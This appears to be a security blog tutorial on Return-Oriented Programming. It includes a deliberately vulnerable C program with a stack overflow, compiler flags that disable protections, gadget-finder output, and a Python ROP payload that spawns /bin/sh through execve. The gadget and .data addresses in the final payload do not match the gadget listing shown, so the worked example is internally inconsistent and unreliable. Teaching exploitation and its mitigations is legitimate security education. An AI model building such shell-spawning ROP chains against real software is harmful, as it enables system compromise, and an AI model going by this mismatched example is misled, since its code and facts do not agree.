< BACK TO TERMINAL

Owning Memory: Return-Oriented Programming (ROP)

Introduction

Attackers responded to the widespread adoption of hardening mechanisms with code-reuse attacks, most notably Return-Oriented Programming (ROP).

Prerequisites

Where It Started

In 2007: Hovav Shacham introduced the formal concept of Return-Oriented Programming (ROP).

"We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls no functions at all. Our attack combines a large number of short instruction sequences to build gadgets that allow arbitrary computation. We show how to discover such instruction sequences by means of static analysis. We make use, in an essential way, of the properties of the x86 instruction set."

References

The Concept

Due to NX (which makes the stack non-executable) and ASLR (which causes memory regions like the stack, heap, and libraries to shift between executions), it may be difficult to reliably obtain the address of a shared library or to inject code on the stack.

However, we don’t necessarily need a library address, we can redirect execution to code located at fixed addresses within the program itself (for example, instructions in the .text section).

1: Gadgets!

First, we need to identify short instruction sequences that already exist in the program’s static, executable regions. When chained one after another, they can be used to perform arbitrary actions (for example, spawning a shell).

These instruction sequences are called gadgets.

The attacker first analyzes the existing application binary to locate small instruction sequences, called gadgets.

2: Push a sequence of gadget addresses to the stack

Next, the attacker places the gadget addresses onto the stack in the order they should run.

3: Run!

When the function returns, execution doesn’t resume at the caller. Instead, control is redirected to the first gadget on the stack, which runs and then “returns” into the next gadget in the chain.

This can also be visualized as follows.

Proof of Concept

In this proof of concept, we’ll create a ROP chain that performs execve("/bin/sh", NULL, NULL) by setting up the required registers and then triggering a syscall.

Finally, we trigger the syscall instruction (syscall).

You can find the syscall numbers for Linux x64 here.

The Vulnerable Code

The following code contains naked assembly functions to ensure specific gadgets are included in the compiled binary. Normally, these would not be part of a real application.

#include <stdio.h>
#include <stdint.h>

void func(void)
{
    char buffer[64];
    printf("Input: ");
    fgets(buffer, 512, stdin); // Vulnerability: reads 512 bytes into 64-byte buffer
}

// Force the wanted gadgets to be included in the binary
__attribute__((naked, used))
static void write_u64_gadget(uint64_t *where, uint64_t what)
{
    __asm__(
        ".intel_syntax noprefix\n"
        "xor rsi, rsi ; ret\n" // Gadget to zero rsi
        "xor rdx, rdx ; ret\n" // Gadget to zero rdx
        "pop rdi ; ret\n"
        "pop rax ; ret\n"
        "syscall; ret\n"
        "mov qword ptr [rdi], rax ; ret\n"
        ".att_syntax prefix\n"
    );
}

int main(void)
{
    func();
    return 0;
}

Compilation

gcc demo.c -o demo.bin -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -Wl,-z,norelro -z noexecstack -Wno-stringop-overflow -Wno-stringop-overread -O0 -g

Finding gadgets

We can use several tools to statically analyze a binary and identify gadgets. In this post, we’ll use ROPgadget.

ROPgadget --binary demo.bin
[...]
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x4033c8], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x0000000000401034 : push 0 ; jmp 0x401020
0x0000000000401044 : push 1 ; jmp 0x401020
0x000000000040101a : ret
0x00000000004010c4 : sal byte ptr [rcx + rcx - 0x41], 0xc8 ; xor eax, dword ptr [rax] ; jmp rax
0x0000000000401106 : sal byte ptr [rdi + rax - 0x41], 0xc8 ; xor eax, dword ptr [rax] ; jmp rax
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011ad : sub esp, 8 ; add rsp, 8 ; ret
[...]
Unique gadgets found: 62

Create a sequence of gadgets

  1. Place "/bin/sh" at the beginning of .data (ends with a null byte)
  2. Put the address of "/bin/sh" in RDI
  3. Put 0x00 in RSI and RDX
  4. Put 59 (0x3b) in RAX (execve syscall number for x64)
  5. Execute the syscall instruction

1. Place "/bin/sh" at the beginning of .data

First, we need to place "/bin/sh" in memory. We can use the following gadget to write data to memory. This gadget is also called a write-what-where gadget.

pop rdi ; ret
pop rax ; ret
mov qword ptr [rdi], rax ; ret

This enables us to move the content of RAX into the memory address stored in RDI. This allows us to write the string "/bin/sh" to a specific location in memory, which we can then use as an argument for the execve syscall.

We need to store the address of the .data section in RDI and the string "/bin/sh" in RAX.

readelf -S demo.bin | grep " .data "
[12] .data             PROGBITS        0000000000600e00

2. Put the address of "/bin/sh" in RDI

We can use the following gadget to pop a value from the stack into RDI. In this case, we will pop the address of the "/bin/sh" string (the beginning of the .data section).

0x0000000000400930 : pop rdi ; ret

3. Put 0x00 in RSI and RDX

We can use the following gadgets to zero out RSI and RDX.

0x0000000000400a10 : xor rsi, rsi ; ret
0x0000000000400a12 : xor rdx, rdx ; ret

4. Put 59 (0x3b) in RAX (execve syscall number for x64)

We can use the following gadget to pop a value from the stack into RAX. In this case, we will pop the value 59 (0x3b).

0x0000000000400932 : pop rax ; ret

5. Execute the syscall instruction

We can use the following gadget to execute the syscall instruction.

syscall ; ret

Final Payload

Combining all the gadgets together, we can create the final exploit payload as follows:

from struct import pack

# Addresses from our gadget listing
POP_RDI = 0x0000000000400930
POP_RAX = 0x0000000000400932
MOV_QWORD_PTR_RDI_RAX = 0x0000000000400934  # mov qword ptr [rdi], rax ; ret

XOR_RSI_RSI = 0x0000000000400a10
XOR_RDX_RDX = 0x0000000000400a12
SYSCALL = 0x0000000000400936  # syscall ; ret

# Address of the .data section (from readelf)
DATA = 0x0000000000600e00

# A qword containing "/bin/sh\0" in little-endian form.
# Bytes: 2f 62 69 6e 2f 73 68 00
BINSH_QWORD = 0x0068732f6e69622f

OFFSET = 72  # Example offset to saved RIP (adjust for your binary)

payload = b"A" * OFFSET

# 1) Write "/bin/sh\0" into .data (write-what-where)
payload += pack("<Q", POP_RDI)
payload += pack("<Q", DATA)
payload += pack("<Q", POP_RAX)
payload += pack("<Q", BINSH_QWORD)
payload += pack("<Q", MOV_QWORD_PTR_RDI_RAX)

# 2) rdi = &"/bin/sh\0"
payload += pack("<Q", POP_RDI)
payload += pack("<Q", DATA)

# 3) rsi = 0, rdx = 0
payload += pack("<Q", XOR_RSI_RSI)
payload += pack("<Q", XOR_RDX_RDX)

# 4) rax = 59 (execve)
payload += pack("<Q", POP_RAX)
payload += pack("<Q", 59)

# 5) syscall (execve("/bin/sh", NULL, NULL))
payload += pack("<Q", SYSCALL)

print(payload)

Mitigations

In 2007: Shadow stacks maintain a duplicate copy of each return address in a dedicated, protected memory region inaccessible to attackers. Upon function return, the integrity of return addresses is verified against this protected copy.

Nathan Burow, "Control-flow integrity: Precision, security, and performance."

In 2014: Code Pointer Integrity (CPI) generalizes return-address protection by safeguarding other indirect control-flow targets too, such as function pointers.

Volodymyr Kuznetsov, "Code-Pointer Integrity"

← Previous article